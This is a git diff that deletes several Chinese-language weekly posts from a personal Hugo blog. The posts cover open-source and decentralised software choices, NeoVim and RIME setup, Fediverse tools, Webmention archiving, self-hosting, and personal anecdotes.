0-7.2 1.6-9.3 4.7l-2 3.3-2-3.3c-2-3.1-5.1-4.7-9.2-4.7-3.5 0-6.4 1.3-8.6 3.7-2.1 2.4-3.1 5.6-3.1 9.7v20h8V25.9c0-4.1 1.7-6.2 5.2-6.2 3.8 0 5.8 2.5 5.8 7.4V37.7H44V27.1c0-4.9 1.9-7.4 5.8-7.4 3.5 0 5.2 2.1 5.2 6.2V45.3h8ZM74.7 16.6c.6 6 .1 15.7.1 17.3 0 .5-.1 4.8-.1 5.3-.7 11.5-8 16-15.6 17.5-.1 0-.2 0-.3 0-4.9 1-10 1.2-14.9 1.4-1.2 0-2.4 0-3.6 0-4.8 0-9.7-.6-14.4-1.7-.1 0-.1 0-.1 0s-.1 0-.1 0 0 .1 0 .1 0 0 0 0c.1 1.6.4 3.1 1 4.5.6 1.7 2.9 5.7 11.4 5.7 5 0 9.9-.6 14.8-1.7 0 0 0 0 0 0 .1 0 .1 0 .1 0 0 .1 0 .1 0 .1.1 0 .1 0 .1.1v5.6s0 .1-.1.1c0 0 0 0 0 .1-1.6 1.1-3.7 1.7-5.6 2.3-.8.3-1.6.5-2.4.7-7.5 1.7-15.4 1.3-22.7-1.2-6.8-2.4-13.8-8.2-15.5-15.2-.9-3.8-1.6-7.6-1.9-11.5-.6-5.8-.6-11.7-.8-17.5C3.9 24.5 4 20 4.9 16 6.7 7.9 14.1 2.2 22.3 1c1.4-.2 4.1-1 16.5-1h.1C51.4 0 56.7.8 58.1 1c8.4 1.2 15.5 7.5 16.6 15.6Z" fill="currentColor"/></svg> <div style="color: #787588; margin-top: 16px;">Post by @anantagd@ieji.de</div> <div style="font-weight: 500;">View on Mastodon</div> </a> </blockquote> <script data-allowed-prefixes="https://ieji.de/" async src="https://ieji.de/embed.js"></script> - -后来我看到了 @micr0 的嘟文,他表示自己在收到消息之后很快做出了行动,暂时关停了 AltBot,一直有在收集反馈;在先前那条讨论串的回复中,他也有在积极跟其他用户交流想法,提出了改进方案。从一开始,他就有追踪能源使用,因为他关注环保;为了保证用户隐私,他使用的是本地模型而非云服务。他为 AltBot 花了很多心思(成本就更不用说了),然而却有人进行人身攻击,表示他「太笨了以至于不能理解 AltBot 是有害的」。 - -<blockquote class="mastodon-embed" data-embed-url="https://wetdry.world/@micr0/115832168197246859/embed" style="background: #FCF8FF; border-radius: 8px; border: 1px solid #C9C4DA; margin: 0; max-width: 540px; min-width: 270px; overflow: hidden; padding: 0;"> <a href="https://wetdry.world/@micr0/115832168197246859" target="_blank" style="align-items: center; color: #1C1A25; display: flex; flex-direction: column; font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', Roboto, sans-serif; font-size: 14px; justify-content: center; letter-spacing: 0.25px; line-height: 20px; padding: 24px; text-decoration: none;"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="32" height="32" viewBox="0 0 79 75"><path d="M63 45.3v-20c0-4.1-1-7.3-3.2-9.7-2.1-2.4-5-3.7-8.5-3.7-4.1 0-7.2 1.6-9.3 4.7l-2 3.3-2-3.3c-2-3.1-5.1-4.7-9.2-4.7-3.5 0-6.4 1.3-8.6 3.7-2.1 2.4-3.1 5.6-3.1 9.7v20h8V25.9c0-4.1 1.7-6.2 5.2-6.2 3.8 0 5.8 2.5 5.8 7.4V37.7H44V27.1c0-4.9 1.9-7.4 5.8-7.4 3.5 0 5.2 2.1 5.2 6.2V45.3h8ZM74.7 16.6c.6 6 .1 15.7.1 17.3 0 .5-.1 4.8-.1 5.3-.7 11.5-8 16-15.6 17.5-.1 0-.2 0-.3 0-4.9 1-10 1.2-14.9 1.4-1.2 0-2.4 0-3.6 0-4.8 0-9.7-.6-14.4-1.7-.1 0-.1 0-.1 0s-.1 0-.1 0 0 .1 0 .1 0 0 0 0c.1 1.6.4 3.1 1 4.5.6 1.7 2.9 5.7 11.4 5.7 5 0 9.9-.6 14.8-1.7 0 0 0 0 0 0 .1 0 .1 0 .1 0 0 .1 0 .1 0 .1.1 0 .1 0 .1.1v5.6s0 .1-.1.1c0 0 0 0 0 .1-1.6 1.1-3.7 1.7-5.6 2.3-.8.3-1.6.5-2.4.7-7.5 1.7-15.4 1.3-22.7-1.2-6.8-2.4-13.8-8.2-15.5-15.2-.9-3.8-1.6-7.6-1.9-11.5-.6-5.8-.6-11.7-.8-17.5C3.9 24.5 4 20 4.9 16 6.7 7.9 14.1 2.2 22.3 1c1.4-.2 4.1-1 16.5-1h.1C51.4 0 56.7.8 58.1 1c8.4 1.2 15.5 7.5 16.6 15.6Z" fill="currentColor"/></svg> <div style="color: #787588; margin-top: 16px;">Post by @micr0@wetdry.world</div> <div style="font-weight: 500;">View on Mastodon</div> </a> </blockquote> <script data-allowed-prefixes="https://wetdry.world/" async src="https://wetdry.world/embed.js"></script> - -这起事件倒没有引发我对无障碍设计的思考,但它让我反思:为什么人们不能一开始就友善地沟通,而是在情绪积压到一定程度过后直接「开战」呢?为什么要伤害那些真正想把事情做好的人? - -## ⁂ · 星群 - -### Infographic - -一个用于绘图的语言,之前在《[关于一切的纯文本解决方案指南](/essays/everything-in-plain-text/)》中提及了 Mermaid、Graphviz 和 PlantUML 等用于绘图的标记语言,这周我又发现了一个新的绘图语言。Infographic 和 Mermaid 很像,但解决的是不同的需求。在我看来,Infographic 更注重快速构建美观的图表,其风格更像是会插入在 PPT 里的图表。Infographic 是专门为 LLM 设计的,如果用大语言模型生成 Infographic 代码,会比直接用文生图模型高效、稳定得多。 - -访问:[GitHub - antvis/Infographic](https://github.com/antvis/infographic) - -### witr - -名字是 Why is this running? 的缩写,witr 是一个命令行工具,用来查询特定进程的 ID、用户、来源、锁等信息,最主要的是回答「这个进程为什么在跑?谁启动的?」这几个问题。如果进程有什么可疑的举动,拥有某些权限,这个工具也会将其作为警告列出来。 - -我还挺喜欢这种以疑问词或问句缩写明明的小工具的,常见的有类 Unix 系统的 `whereis` 和 `which`,用于查询某个命令的可执行文件和相关文件的路径。我之前也用相似的命名方式写过 [wthis](https://github.com/BigCoke233/wthis),用于查询 Homebrew 软件包的信息。 - -访问:[GitHub - pranshuparmar/witr: Why is this running?](https://github.com/pranshuparmar/witr) - -### NeoDB - -我在去年年底加入了 Fediverse,拥有了一个 Mastodon 账号。最近在 Fedi 上冲浪的时候,发现了 [NeoDB](https://neodb.net/),也是联邦宇宙的一部分——去中心化、可以自托管、支持 ActivityPub 协议。从需求上看,NeoDB 基本上是豆瓣的开源替代品。如果不想折腾,也可以使用[官方实例](https://neodb.social/)。 - -我以前就不怎么爱用豆瓣,从 2024 年开始,读过的书、详细的书评和评分都发布在博客上了,不过电影、演出和剧集倒是没有好去处。使用豆瓣等平台,我没办法真正拥有自己的数据,这导致我一直不愿意在上面认真记录。NeoDB 看起来是一个不错的选择,可以自由地导入导出数据,就算我不想继续用官方实例了,也可以自建然后把数据重新导入。 - -我不会补记自己以前看了什么,但如果你对我最近在看什么、我对各种文化产品的评价如何感到好奇,可以关注我的 NeoDB [主页](https://neodb.social/users/Eltrac/),我也会把内容同步到[我的 Mastodon 账号](https://c7.io/@eltrac)上。 - -访问:[NeoDB](https://neodb.net/) - -## ↯ · 当下 - -### RIME - -之前一直对输入法没有太多感知,秉持着能用系统自带软件解决的需求就绝不额外安装的原则,我一直没有去尝试配置繁琐的开源输入法 RIME [^1],毕竟 macOS 自带「小鹤双拼」,可以开箱即用。这周接触到 RIME 的契机,是我~~上课摸鱼的时候~~在 Fediverse 上吐槽自己在终端输入 `brew update` 时忘记切换输入法,意外用 `brew` 打出了「别惹我」这四个字,没想到引发了一连串有关输入法词库的讨论。 - -我之所以能用 `brew` 打出「别惹我」,是因为 `r` 在小鹤双拼里映射到 `uan` 这个韵母,而 `buan` 并不是中文里存在的读音,所以 `br` 没有被识别为一个字,输入法把我的输入拆成了 `b-re-w`,于是就打出了「别惹我」。 - -后来有人提到,在电脑上用雾凇拼音就不会打出这三个字,而是会直接打出 brew 这个英文单词。这时我才意识到,原来中文输入法也能对英文输入进行优化。于是我很快安装了[鼠鬚管](https://github.com/rime/squirrel)(适用于 macOS 的 RIME)和[雾凇拼音](https://github.com/iDvel/rime-ice)(一个广受好评的 RIME 词库配置),还找到了一个模仿 macOS 原生输入法风格的[配置](https://gist.github.com/lewangdev/f8ebbba24f464e915fb7d36857fcbbe5)。 - -大概是经常折腾开源软件习惯了,配置 RIME 我只用了不到半个小时,之后就用得很顺手了。 - - - -可能需要用新输入法写过长文之后才能明白有好词库的爽感,目前比较令我惊喜的点是 macOS 的各种版本名居然也在词库里。 - - - -### 泡温泉 - -跨年夜的时候一个朋友问我想不想元旦去泡温泉,我正好有空,便答应了。顺带一提,这个朋友是去年夏天一不小心喜欢上的那个直男…… 对,我也不知道他为什么找我,我也不知道为什么我答应了。总之…… 元旦那天晚上和直男泡温泉去了,嗯。不过我确实对他没感觉了,而且经过了半年的训练,我觉得我的身材比他好。 - -本来以为这种需要我付钱进去的场所会有单独的更衣间,结果没有,但还好淋浴间有隔板,只是隔板比公共卫生间的门还矮。有些男人似乎完全不介意,直接在储物柜旁边换衣服,什么都不遮,看到了很多不该看到的东西(而且并不好看)。我去年夏天就是因为相同的原因逃掉了所有的游泳课。 - -更衣大概是体验最差的环节,泡温泉的过程还是很不错的。人类似乎会因为生物本能而靠近热源,人几乎都聚集在温度最高的几个小池子里,从第三方的视角观察那个场景还挺奇妙的。泡在泉水里很舒服,一方面整个身体会温暖起来,另一方面身体会被浮力拖举起来,感到很放松。我还把头放在岸边,让身体的剩余部分扶起来,就这样闭着眼睛放空了好一会。不过旁边有小孩子玩水,还是得注意周边的环境。 - -第一次泡温泉还让我发现了关于自己的有趣的一点:我更耐寒,但不耐热。朋友裹着毛巾在岸上走一直发抖,我倒觉得还好,但在汗蒸房是真的待不下去。总的来说,体验中规中矩,如果有下次,我会选择私汤。 - -另外,在水里做卷腹会有用吗? - -### 开源、自由、本地优先和去中心化 - -去年全面从 Windows 转向 macOS 和苹果生态,许多服务都开始使用苹果的原生应用,也花钱购买和订阅了不少 SaaS,原因是我想要获得更高质量的软件体验。不过,最近 Apple 的软件质量越来越不尽人意,再加上随着自己作为程序员的认知提升,我对数据和隐私的敏感度也逐渐提升,所以 2026 年我在数字生活方面的目标就是:全面拥抱开源软件和自由软件,逐渐转向本地优先和去中心化的解决方案。 - -开源软件即开放源代码,而自由软件则是允许使用者自由使用、分发、执行、研究、改动甚至售卖的软件。这两个概念有所重合,比如使用 MIT、GPL 和 Apache 开源许可证授权的开源软件都是自由软件,但并非完全一样。所谓本地优先,就是我的数据主要储存在本地,而不是上传到云端,同时,我的数据应该是以纯文本、Markdown 和 JSON 等开放的数据格式存储的,我可以对数据做任何事情,也可以随时拍屁股走人,带着数据换个软件用。至于去中心化,就是说软件服务不由某个经销商运营,而是由数个独立的服务器组成的分布式网络,用户可以自己搭建服务器或者选择自己信任的服务器使用,而不是把数据交给某一个邪恶的大公司。 - -我还在做的一件事情是去 Chromium/Electron 化,目前已经能用 NeoVim 代替 Obsidian 了,用上 Claude Code 之后我也不需要用某个基于 VS Code 的 AI IDE 了(再加上我本身对 LLM 的需求也没有很高),所以我可以很荣幸地宣布:从此我的 MacBook 上没有一个多余的 Chromium 内核。[^3] - -这种选择软件的原则会带来以下好处: - -1. 你真正拥有自己的数据,不会因为某天腾讯或者 Google(Apple 也会)因为某些莫名其妙的原因把你的账号封禁而失去所有的数据; -2. 只有你能决定你的数据被用来做什么,你的数据不会被用作算法推荐或者其他肮脏的交易; -3. 如果你不喜欢某个软件或服务,你可以带着你的数据随时退出(你知道吗?如果你尝试在最新版本的 Edge 浏览器上搜索 Chrome 并尝试安装,Edge 会不厌其烦地告诉你它和 Chrome 使用的是相同的技术,而且更值得信赖[^4]。我不知道你怎么想的,总之我没空陪他们玩。) - -目前我的各种软件选择如下: - -1. 浏览器:[Helium](https://helium.computer/) - - 我不用 Google Chrome;事实上,几乎任何基于 Chromium 内核的浏览器都能达到和 Google Chrome 差不多甚至更好的浏览体验和最新的 Web 特性 - - 需要登录才能使用的 Arc 我是绝对不会用的 - - 我不会用任何没有丝毫数据安全保障也无法带来真正体验提升的 AI 浏览器 -2. 编辑器:[NeoVim](https://neovim.io/) - - Obsidian 很好,尽管不开源,但本地优先,除非需要 Sync 否则不用联网,是个有原则的商业软件。不过,唉,你为什么要往软件里套一个 Chromium 内核呢? - - VS Code 由邪恶的 Microsoft 开发,不好;VSCodium 是 VS Code 的自由软件版本,很好,但仍然是用 Electron 写的,而且自定义空间远远不如 NeoVim。 - - JetBrains 的产品还行,也有免费使用的教育版,但 GUI 界面太臃肿,我不喜欢,而且最近还加上了好多烦人的 AI 功能——不要吃我的 MacBook 存储了! - - Zed 很好,大概是我最不舍得放弃的代码编辑器了,是用 Rust 编写的 VS Code 替代品,启动速度很快,界面简洁,只是 NeoVim 太诱人了…… 如果你需要一款基于 GUI 的代码编辑器,我很推荐 Zed。 -3. 社交媒体:Mastodon(实例:[c7.io](https://c7.io)) -4. 书影音:NeoDB(实例:[neodb.social](https://neodb.social/)) -5. 输入法:[RIME](https://rime.im/) - - 我不用大家都很爱用的微信输入法,原因就是我绝对不会把输入这种每天都会用到的操作交给腾讯这种东西的 - - RIME 不仅开源,词库等配置也是通过开放的数据格式储存在本地的,可以随时迁移,而且可自定义性极强 -6. 邮件:[Migadu](https://www.migadu.com/) - - Migadu 是一家瑞士的小公司,提供邮件服务,最低方案一年 $19.9 - - 我很喜欢 Migadu 的「观点鲜明」,它们甚至写了[一页长长的清单](https://www.migadu.com/procon/),罗列你可能不需要或者不想使用它们家服务的理由 - - 邮件系统本身就是去中心化的,只要你拥有自己的域名,就可以随时更改 DNS 记录换到另一家邮件服务,或者自己搭建邮件基础设施,也不难 - -诚然,微信这种软件我是没有办法不用的,我能做的只是减少使用频率,同时在这样的平台上产生尽可能少的数据,把我主要的数字生活建立在我信任的互联网上。此外,我也不排斥 SaaS,像是运动健康相关的需求,我依然会选择与系统集成更好的手机 App,但我仍然更偏好尊重用户数据和隐私的开发者,比如 Gentler Streak 团队[^5]。 - -[^1]: 还在用 Windows 的时候其实有尝试过,但当时还是个麻瓜,没折腾多久就放弃了。 - -[^2]: 详见:《[关于一切的纯文本解决方案指南](/essays/everything-in-plain-text/)》 - -[^3]: 如果你不清楚我在说什么:现在很多跨平台的桌面端软件,都是使用 Electron 开发的,这个框架允许开发者使用 Web 前端技术开发桌面端软件的用户界面,可以极大节省开发成本,提高效率。然而,Electron 会把一个完整的 Chromium 浏览器内核打包在软件里,这使得软件包变得很大,而且完全没有必要。我不反对网页套壳,相反,我很喜欢 Tauri 和 Wails,这两个框架与 Electron 类似,但它们使用操作系统默认的 WebView,不会把一整个浏览器打包在软件里。 - -[^4]: 来源:[IT 之家](https://www.ithome.com/0/909/729.htm) - -[^5]: Gentler Streak 每次启动都会从苹果健康里读取数据并进行分析,数据永远不会离开用户的设备。 - diff --git a/content/posts/weekly/63/index.md b/content/posts/weekly/63/index.md deleted file mode 100644 index 4a1072c8..00000000 --- a/content/posts/weekly/63/index.md +++ /dev/null @@ -1,156 +0,0 @@ -+++ -title = "稻草人周刊 Vol.63" -subtitle = "关于我为什么没写周刊这回事" -tags = [ - "Geek", - "软件", - "开源", -] -date = 2026-01-12 09:51:58 -categories = "稻草人周刊" -draft = false -toc = true -toot = "https://c7.io/@eltrac/115879631742715833" -+++ -{{< music cover="https://r2.eltr.ac/geedeapro/posts/weekly/63/its-raining-men.jpg" title="It's Raining Men" artist="Weather Girls" apple="https://music.apple.com/cn/album/its-raining-men/157341169?i=157341271" >}} - -这首歌的名字意思是「天上在下男人」,嗯…… ~~希望是真的。~~ - -*It's Raining Men* 是美国 80 年代的热单,影响力似乎很大,现在在一些影视作品里也能见到。我印象最深刻的有两个,一个是《老友记》里 Chandler 的母亲作为跨性别角色第一次出场时,在拉斯维加斯表演的就是这首歌;另一次是《艾米丽在巴黎》第五季的骄傲月游行,Mindy 表演的就是这首歌的改编版。嗯,这首歌已经被酷儿群体拿去用了。 -<!--more--> - ---- - -又到周一啦,很不幸地告诉各位读者——我这周根本就没写周刊。怎么办呢?63 也不是个什么特殊的数字,总不能编一个「特别辑」出来糊弄读者吧? *考拉沉思中……* 既然如此,那这期周刊就来写一写「我这周为什么没写周刊」吧。 - -嗯,是个不错的主题。 - -## 沉迷 NeoVim - -根据 [WakaTime](https://wakatime.com/) 统计,过去七天我使用的编辑器只有 NeoVim。我记得我在周二就把除了 NeoVim 以外的所有编辑器卸载了,包括 Obsidian、[Zed](https://zed.dev/) 和 Trae(至于 Trae,本身就是我用来度过期末周临时安装的 AI IDE),因为我已经能用 NeoVim 替代它们了。 - -如果你感兴趣,可以查看我的 [NeoVim 配置](https://github.com/BigCoke233/nvim)。 - -比较值得一提的是我没有安装 `nvim-tree` 和 `neo-tree` 这些传统的目录树插件,标签页插件也在用过一段时间之后就卸载了。个人感觉,这两类插件是依照 GUI 编辑器的使用习惯来设计的,在 NeoVim 里有更好的选择。其实我在 VS Code 系的编辑器里就很少使用目录树和标签页,我更喜欢按下 ⌘P 快捷键,按照名称搜索文件进行跳转。NeoVim 生态里非常好用的模糊搜索工具是 `Telescope.nvim`,按下 `<leader>ff` 就能按文件名模糊搜索,按 `<leader>fg` 是全局 Grep,也就是包括正文的模糊搜索。至于查看目录结构,这个操作并不高频,需要的时候在文件浏览器里查看就好了。我目前使用的是 `oil.nvim` 插件,类似于 Emacs 的 dired,可以像编辑 buffer 一样编辑文件系统,也方便查看目录结构。 - -此外,我还对中文编辑做了一些优化。我强力推荐以下这些插件: - -- [flash-zh.nvim](https://github.com/rainzm/flash-zh.nvim):使用小鹤双拼搜索和跳转到中文词。 -- [jieba.nvim](https://github.com/neo451/jieba.nvim):NeoVim 中使用 `b` 和 `w` 等按键按词跳转,没办法对中文进行分词,英文可以按空格或符号分割的词句跳转,中文就不行了,默认情况下,会直接跳过整个句子。这个插件优化了这一点。 -- [im-select.nvim](https://github.com/keaising/im-select.nvim):使用 NeoVim 需要频繁在 NORMAL 模式和其他模式下切换,切换后还要切换输入法,操作繁琐且击键次数增加。这个插件可以自动切换输入法,在切换到 NORMAL 模式时切换到英文输入法,切换到 INSERT 模式时切换到中文输入法。实际体验下来非常好用。 - -## 折腾博客 - -如果你现在把页面拉到最下方,点开文章底部的 Webmention 区域,你可能会发现来自 Fediverse 的互动。现在博客和我的联邦宇宙账号联通了,这是通过 [Bridgy](https://brid.gy/) 实现的,这个服务会定期扫描我的 Fediverse 账号和我的博客,包含了博客某个页面链接的内容就会被视作这篇文章在 Fediverse 上的载体,Fediverse 居民的点赞和评论都会被抓取到,然后 Bridgy 就会把这些互动数据以 Webmention 的形式发送到我的博客。 - -博客一开始是使用 [webmention.js](https://github.com/PlaidWeb/webmention.js/) 展示数据的,很方便,但额外的 JavaScript 会拖慢网页加载速度,更何况还需要从 webmention.io 这个第三方服务拉取数据。这样做还有一个问题:我的数据没有存档,如果我打算更换 Webmention 接收器,这些数据无法保留下来,一直保存在 webmention.io 的数据库里。尽管 IndieWeb 上免费提供 Webmention 服务的不太可能是坏人,也不会对我的数据做什么,但我仍然希望数据能够尽可能存档在 Git 仓库里。于是,我编写了一个 Workflow,让 GitHub Actions 每隔三十分钟抓取一次 Webmention 数据,如果有就提交 commit,存放在 `data/webmention.json` 里,Hugo 在构建的时候可以自动读取这些数据。数据更新之后,因为提交了 commit,所以会触发 Cloudflare Workers 部署,新的数据就能被展示出来了。 - -所以,目前博客获取并展示 Webmention 的流程是这样的: - -```text -webmention.io <-抓取数据- CI/CD -提交更改-> Git 仓库 - --部署--> Cloudflare Workers -``` - -如果你想试试,可以点击页面底部的「在 Fediverse 上互动」,点赞和评论都会在 30 分钟内被抓取并更新到这个页面里。 - -我还顺便把各种原本在构建时完成的数据提取工作都移动到了 CI/CD 里,比如构建[内部链接图谱](/graph)数据、提取[外部链接排行](/stats)和提取所有文章中的[高亮标记](/highlights)。 - -## 自建 Forgejo - -Forgejo 是 Gitea 的分支,一个轻量级的 GitHub 开源替代品,目前主要用做备份,旨在拥有自己的数据。需要协作的场合还是会使用 GitHub,检索信息时也很难离开它。未来会配置 Forgejo Actions,把项目的 CI/CD 也迁移过去,至少这类基础设施要掌握在自己手上。 - -目前我把 Git commit 推送到远程仓库时,会同时推送到 GitHub 和 Forgejo 两个服务器上。 - -## 我正在重新审视自己的软件选择 - -本周五,也就是 1 月 9 日,我在 Telegram 频道「大脑充血」里发送了最后一条消息: - -> 📢 Telegram 账号和频道的停用通知 -> -> 本人正在逐渐转向去中心化网络,全面拥抱开源、自由软件。Telegram 本身是设计精良且注重隐私保护的闭源软件,但由于本人最近在 Fediverse(联邦宇宙)上更加活跃,而目前我也极少将 Telegram 当作通讯软件使用,主要用于阅览和发布频道信息,充当了更多的社交属性。显然,Fediverse 作为自由、去中心化的社交网络,对我而言,能比 Telegram 更好地满足需求。 -> -> 再者,Telegram 会在人数较多的频道中投放广告,在最近的更新中还增加了 AI 功能,这是它作为一款商业软件无法摆脱的趋势,因此我决定全面停止使用 Telegram。从本消息发布开始,我不会在这个频道里发布新内容,几天后也不会继续回复私信或评论。 -> -> 极客死亡计划等其他平台不会停止更新,你可以继续关注我的博客,或者在 Fediverse 上关注我:https://c7.io/@eltrac -> 如果你没有Fediverse账号也不打算使用去中心化社交媒体,你可以通过 RSS 订阅我的 Fediverse 账号:https://c7.io/@eltrac.rss -> -> 如果需要联系到我本人,可以使用一下联系方式: -> -> * 电子邮件: `hi@guhub.cn`[^3] -> * Matrix:`@eltrac:matrix.org` -> -> 希望我们最后都能在联邦宇宙,或者一个更开放的互联网上相见。 - -其实不只是 Telegram,我还停用了很多软件并找到了替代方案。 - -我卸载了 iPhone 上的小宇宙和 Apple Podcast。一开始不使用小宇宙是因为我抗拒它的社交功能和算法推荐,所以一直在使用苹果自带的 Podcast,但有不少中文博客并不能在 Apple Podcast 上找到。本周我发现,大部分播客节目其实有提供 RSS 订阅链接(小宇宙和喜马拉雅等平台都有提供),实际上使用 RSS 阅读器就能订阅节目更新。 - -*为什么不早说!* - -我很快卸载了这两个 App,在 App Store 上找到了一个看起来比较轻量的播客播放器,叫作 Lightcast。支持 RSS 订阅和名称搜索,基本上我想听的播客都能搜到。我在[中文独立播客](https://typlog.com/podlist/)这个页面里找了一些新的感兴趣的播客订阅,现在应该是不缺好节目听了。 - -{{< gallery >}} - - - - -{{</ gallery >}} - -RSS 真的是伟大的发明。就这样,听播客这件事情也去中心化了。 - -我还卸载了我很早就看不惯的 WPS,无奈还是有在本地查阅和编辑办公文档的需求,尤其是放映幻灯片,投屏的时候如果使用 WPS 的 Web 版应用就要打开浏览器——无论怎么说,把自己的浏览器投屏给所有人看就是一件很恐怖的事情。我更偏好本地优先的解决方案。 - -照理来说,如果要选 FOSS 替代,应该用 LibreOffice,之前折腾 Manjaro 系统的时候也用过。不过,我之所以要用办公文档,主要是为了「兼容别人」,我自己是绝对不会主动编辑 Word、PPT 和 PDF 的,我是坚定的纯文本使用者。LibreOffice 对 Microsoft 办公套件的兼容性相对差一点,而且我一直觉得它的 UI 很丑。辗转过后,还是选择了商业软件 ONLYOFFICE,编辑体验与 WPS 和 Microsoft Office 几乎没有区别,而且启动速度比 WPS 快很多,界面也很友好。ONLYOFFICE 有提供社区的开源版本,所以也不算特别坏的选择。 - -*什么时候 Markdown 可以统治全世界?!* - -上周我把输入法换成了开源的 [RIME](/posts/weekly/62/#rime),整体而言,我正在逐步拥抱 FOSS[^1] 软件,也在逐渐把一些服务替换为自托管或者至少是去中心化的解决方案。这是我今年的目标之一,希望在年底我能完全脱离「大公司网络」,至少让他们在我的生活中降级到可有可无的位置。 - -以下是我的 MacBook 上安装的所有 GUI 软件,供读者参考。[^2] - -``` -○ Keka 39.4MB -○ BetterDisplay 48.7MB -○ ONLYOFFICE.app 1.05GB -○ Squirrel 87.2MB -○ 1Capture.app 57.2MB -○ Calendr 12.0MB -○ Googly Eyes.app 3.8MB -○ Hammerspoon 40.3MB -○ LuLu.app 8.6MB -○ Hidden Bar.app 23.3MB -○ NetNewsWire 23.1MB -○ Raycast 133.0MB -○ Dropover 49.3MB -○ ChatGPT 130.3MB -○ Helium 305.3MB -○ Ghostty 49.3MB -``` - -前几天和[小氯](https://chlo.is/)邮件交流,对方推荐我写一个 [/uses](https://uses.tech/) 页面,于是本周六我就在博客新增了「[器用](/uses)」页面,罗列了我使用的硬件、软件和服务。 - -## 学习上帝的语言 - -这几天在 Matrix 上和 [Southfox](https://blog.southfox.me/) 聊天,被成功传教开始学 Clojure(一门 Lisp 方言)。*大概再过几个月我就会成为一个熟练使用括号的真正的黑客了。* - -要安装 [Clojure](https://clojure.org/),需要下载他们提供的 JAR 包…… 所以,上帝的语言居然是用 Java 这门粗俗的语言写就的吗!笔者很不喜欢 Java,*你的意思是你们实现跨平台的方式就是在运行程序之前先启动一个虚拟机,疯了吗?编译器是拿来干嘛的?* 也有可能是我被逼无奈在学校用 Spring Boot 做了不少 Web 项目,所以被恶心到了。Spring 系的 Web 项目,结构往往都非常臃肿,即便有依赖注入和控制反转之类的用于降低耦合度的概念,改一个需求仍然要动很多文件。配置文件也基本都是用 XML 写的,这门语言从头到脚都是臃肿的。 - -所以一想到启动 Clojure 程序就要启动一个 JVM,底下还是 Java 代码在跑,我还是觉得有些膈应的。哎,但是 Java 已经无处不在了,还是早点接受为好。 - -至于学习进度,我已经掌握了 Lisp 语言的全部语法!如下: - -```clojure -;; Hello World in Clojure -(println "Hello World") -``` - -Lisp 里面唯一的结构就是列表(或者说元组),第一个元素是函数名,剩下的全都是参数,列表可以嵌套。好了,现在你也学会了,赶进去写一个二叉树翻转算法吧! - - - -[^1]: Free and Open-Source Software,自由和开源软件 - -[^2]: 是的,我不在电脑上使用 QQ 和微信。 - -[^3]: 现在请使用新的邮箱地址 `hi@eltr.ac` diff --git a/content/posts/weekly/63/its-raining-men.jpg b/content/posts/weekly/63/its-raining-men.jpg Binary files differdeleted file mode 100644 index a446a293..00000000 --- a/content/posts/weekly/63/its-raining-men.jpg +++ /dev/null diff --git a/content/posts/weekly/63/lightcast-1.png b/content/posts/weekly/63/lightcast-1.png Binary files differdeleted file mode 100644 index bf3671ba..00000000 --- a/content/posts/weekly/63/lightcast-1.png +++ /dev/null diff --git a/content/posts/weekly/63/lightcast-2.png b/content/posts/weekly/63/lightcast-2.png Binary files differdeleted file mode 100644 index 777280d3..00000000 --- a/content/posts/weekly/63/lightcast-2.png +++ /dev/null diff --git a/content/posts/weekly/63/lightcast-3.png b/content/posts/weekly/63/lightcast-3.png Binary files differdeleted file mode 100644 index 5a544f63..00000000 --- a/content/posts/weekly/63/lightcast-3.png +++ /dev/null diff --git a/content/posts/weekly/63/lightcast-4.png b/content/posts/weekly/63/lightcast-4.png Binary files differdeleted file mode 100644 index b3aa621a..00000000 --- a/content/posts/weekly/63/lightcast-4.png +++ /dev/null diff --git a/content/posts/weekly/64/harrys-house.png b/content/posts/weekly/64/harrys-house.png Binary files differdeleted file mode 100644 index bbd59ac3..00000000 --- a/content/posts/weekly/64/harrys-house.png +++ /dev/null diff --git a/content/posts/weekly/64/index.md b/content/posts/weekly/64/index.md deleted file mode 100644 index 48c4c610..00000000 --- a/content/posts/weekly/64/index.md +++ /dev/null @@ -1,191 +0,0 @@ -+++ -title = "稻草人周刊 Vol.64" -subtitle = "死互联网理论" -tags = [ - "Geek", - "AI", - "软件", - "设计", - "人际交往", -] -date = 2026-01-19 14:27:25 -categories = "稻草人周刊" -draft = false -toc = true -toot = "https://c7.io/@eltrac/115920350991760267" -+++ -{{< music cover="https://r2.eltr.ac/geedeapro/posts/weekly/64/harrys-house.png" title="Satellite" artist="Harry Styles" apple="https://music.apple.com/cn/album/satellite/1615584999?i=1615585100&l=en-GB" >}} - -我很喜欢《Harry's House》这张专辑,虽然已经发布快三年了,还是经常拿出来听。这周 Apple Music 的精选集里推荐了这首《Satellite》,歌词的内容没有太多感同身受,但有点希望自己是歌里的那个「You」——知道有个人在等着我敞开心扉,而不是在小心翼翼地探出头之后受到伤害,这很令人安心。 - -<!--more--> - ---- - -我最害怕的事情果然还是发生了:两期稻草人周刊在时间线上挨在了一起,这意味着我已经有一周没有写过周刊以外的文章了。 - -没有更新的原因是我忙着应付期末周,这周的周刊发得比平常晚了些,原因也是我这天上午才考完离散数学。不过,接下来的一周就会恢复以往的更新节奏了,我有好多文章点子攒着了。这周还是有一些内容的,希望你会读到感兴趣的。 - ---- - -## ⋈︎ · 连接 - -### 2026 是自托管之年 - -> [!note] 📜 -> [2026 is the Year of Self-hosting](https://fulghum.io/self-hosting) - -作者表示,现在够买一个小巧的 Linux PC 已经很便宜,网络层面也有 Tailscale 提供支持,再加上 Claude Code 等基于命令行的 Agent 已经非常智能,那些缺少计算机系统和运维知识的人也能很方便地配置和使用自托管应用。你只需要买一个迷你主机放在家里,在这台主机和你的电脑上安装并配置 Tailscale,用你的电脑 SSH 到这台作为家庭服务器的主机上安装 Claude Code,然后告诉它你想要做什么就好了。 - -我自己也有一台利用率不高的 Mac Mini,还是 M4 芯片的,完全可以用来做家庭服务器。今年我也在逐步转向开源软件和自托管服务,我应该会参照作者的方案自托管密码管理器、照片管理和流媒体服务等。 - -不过,我有一点不解:使用 Anthropix 的 Claude Code 协助进行系统维护、使用一家加拿大公司提供的网络产品实现公网连接,听起来除了服务器是自己的(在购买了没有各种奇奇怪怪的锁和限制的设备的前提下),其他服务依然依赖科技公司,并没有很「自托管」。我最近在筹备迁移网站的一些基础设施,还打算自建 Fediverse 